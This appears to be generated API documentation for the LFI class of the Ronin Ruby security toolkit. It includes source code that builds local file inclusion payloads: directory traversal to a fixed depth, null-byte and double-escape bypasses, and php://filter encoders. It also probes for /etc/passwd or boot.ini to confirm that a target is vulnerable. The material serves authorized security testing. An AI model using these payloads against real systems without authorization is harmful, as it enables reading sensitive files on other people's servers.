Class: Ronin::Vulns::LFI

Inherits:
WebVuln show all
Includes:
Support
Defined in:
lib/ronin/vulns/lfi.rb,
lib/ronin/vulns/lfi/test_file.rb

Overview

Represents a Local File Inclusion (LFI) vulnerability.

Features

  • Supports UNIX and Windows paths.
  • Supports %00 null terminator trick (fixed in PHP 5.3).
  • Supports Base64, ROT13, and Zlib php://filter/s.

Defined Under Namespace

Classes: TestFile

Constant Summary collapse

UNIX_TEST_FILE =

The test file for UNIX systems.

TestFile.new('/etc/passwd', %r{(?:[a-z][a-z0-9_-]*:x:\d+:\d+:[^:]*:(?:/[A-Za-z0-9_-]*)+:(?:/[A-Za-z0-9_-]*)+\n)+})
WINDOWS_TEST_FILE =

The test file for Windows systems.

TestFile.new('\\boot.ini', /\[boot loader\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n(?:\[operating system\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n)?/m)
DEFAULT_DEPTH =

The default directory traversal depth.

6

Instance Attribute Summary collapse

Attributes inherited from WebVuln

#cookie, #cookie_param, #form_data, #form_param, #header_name, #headers, #http, #password, #query_param, #query_params, #referer, #request_method, #url, #user

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from WebVuln

#exploit, #exploit_cookie, #exploit_form_data, #exploit_headers, #exploit_query_params, #original_value, #random_value, #request, scan, scan_cookie_params, scan_form_params, scan_headers, scan_query_params, test, #to_curl, #to_http, #to_s

Constructor Details

#initialize(url, os: :unix, depth: DEFAULT_DEPTH, filter_bypass: nil, **kwargs) ⇒ LFI

Creates a new LFI object.

Parameters:

  • url (String, URI::HTTP)

    The URL to exploit.

  • os (:unix, :windows, nil) (defaults to: :unix)

    Operating System to specifically target.

  • depth (Integer) (defaults to: DEFAULT_DEPTH)

    Number of directories to escape up.

  • filter_bypass (:null_byte, :double_escape, :base64, :rot13, :zlib, nil) (defaults to: nil)

    Specifies which filter bypass technique to use.

    • :null_byte - appends a%00` null byte to the escaped path. *Note: this technique only works on PHP < 5.3.
    • :double_escape - Double escapes the #escape_path (ex: ....//....//).
    • :base64 - Base64 encodes the included local file.
    • :rot13 - ROT13 encodes the included local file.
    • :zlib - Zlib compresses and Base64 encodes the included local file.
  • kwargs (Hash{Symbol => Object})

    Additional keyword arguments for WebVuln#initialize.



111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# File 'lib/ronin/vulns/lfi.rb', line 111

def initialize(url, os:            :unix,
                    depth:         DEFAULT_DEPTH,
                    filter_bypass: nil,
                    **kwargs)
  super(url,**kwargs)

  @os = os

  case @os
  when :unix
    @separator = '/'
    @test_file = UNIX_TEST_FILE
  when :windows
    @separator = '\\'
    @test_file = WINDOWS_TEST_FILE
  else
    raise(ArgumentError,"unknown os keyword value (#{@os.inspect}) must be either :unix or :windows")
  end

  case filter_bypass
  when :null_byte, :double_escape, :base64, :rot13, :zlib, nil
    @filter_bypass = filter_bypass
  else
    raise(ArgumentError,"unknown filter_bypass keyword value (#{filter_bypass.inspect}) must be :null_byte, :double_escape, :base64, :rot13, :zlib, or nil")
  end

  @depth       = depth
  @escape_path = ("..#{@separator}" * @depth)

  apply_filter_bypasses
end

Instance Attribute Details

#depthInteger (readonly)

The number of directories to traverse up

Returns:

  • (Integer)


67
68
69
# File 'lib/ronin/vulns/lfi.rb', line 67

def depth
  @depth
end

#escape_pathString (readonly)

The escape path to add to every LFI path

Returns:

  • (String)


77
78
79
# File 'lib/ronin/vulns/lfi.rb', line 77

def escape_path
  @escape_path
end

#filter_bypass:null_byte, ... (readonly)

Optional filter bypass technique to use.

Returns:

  • (:null_byte, :base64, :rot13, :zlib, nil)


62
63
64
# File 'lib/ronin/vulns/lfi.rb', line 62

def filter_bypass
  @filter_bypass
end

#os:unix, ... (readonly)

Targeted Operating System (OS)

Returns:

  • (:unix, :windows, nil)


57
58
59
# File 'lib/ronin/vulns/lfi.rb', line 57

def os
  @os
end

#separatorString (readonly)

The directory separator character.

Returns:

  • (String)


72
73
74
# File 'lib/ronin/vulns/lfi.rb', line 72

def separator
  @separator
end

#test_fileTestFile (readonly)

The common file to test with.

Returns:



82
83
84
# File 'lib/ronin/vulns/lfi.rb', line 82

def test_file
  @test_file
end

Class Method Details

.vuln_typeSymbol

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

This method is abstract.
Note:

This is used internally to map an vulnerability class to a printable type.

Returns the type or kind of vulnerability.

Returns:

  • (Symbol)


259
260
261
# File 'lib/ronin/vulns/lfi.rb', line 259

def self.vuln_type
  :lfi
end

Instance Method Details

#encode_payload(path) ⇒ String

Note:
  • If the given path begins with php:, then no ../../../ prefix will be added.
  • If initialized with filter_bypass: :null_byte, then a \0 character will be appended to the path.

Builds a ../../.. escaped path for the given file path.

Parameters:

  • path (String)

    The path to escape.

Returns:

  • (String)

    The ../../../ escaped path.



204
205
206
207
208
209
210
211
212
213
214
215
216
217
# File 'lib/ronin/vulns/lfi.rb', line 204

def encode_payload(path)
  case @filter_bypass
  when :base64
    "php://filter/convert.base64-encode/resource=#{path}"
  when :rot13
    "php://filter/read=string.rot13/resource=#{path}"
  when :zlib
    "php://filter/zlib.deflate/convert.base64-encode/resource=#{path}"
  when :null_byte
    "#{escape(path)}\0"
  else
    escape(path)
  end
end

#escape(path) ⇒ String

Note:

Relative paths and absolute Windows paths to other drives will not be escaped.

Escapes the given path.

Parameters:

  • path (String)

    The given path to escape.

Returns:

  • (String)

    The escaped path.



173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/ronin/vulns/lfi.rb', line 173

def escape(path)
  if @os == :windows && path.start_with?('C:\\')
    # escape absolute Windows paths to the C: drive
    "#{@escape_path}#{path[3..]}"
  elsif @os == :windows && path =~ /\A[A-Z]:/
    # pass through absolute Windows paths to other drives
    path
  elsif path.start_with?(@separator)
    # escape absolute paths
    "#{@escape_path}#{path[1..]}"
  else
    # pass through relative paths
    path
  end
end

#vulnerable?Boolean

Determines whether the URL is vulnerable to Local File Inclusion (LFI).

Returns:

  • (Boolean)


224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
# File 'lib/ronin/vulns/lfi.rb', line 224

def vulnerable?
  response = exploit(@test_file.path)
  body     = response.body

  case @filter_bypass
  when :base64
    body.scan(Text::Patterns::BASE64).any? do |string|
      Base64.decode64(string) =~ @test_file
    end
  when :rot13
    Crypto.rot(body,-13) =~ @test_file
  when :zlib
    body.scan(Text::Patterns::BASE64).any? do |string|
      Compression.zlib_inflate(Base64.decode64(string)) =~ @test_file
    rescue Zlib::DataError
      # not zlib compressed Base64, ignore
    end
  else
    body =~ @test_file
  end
end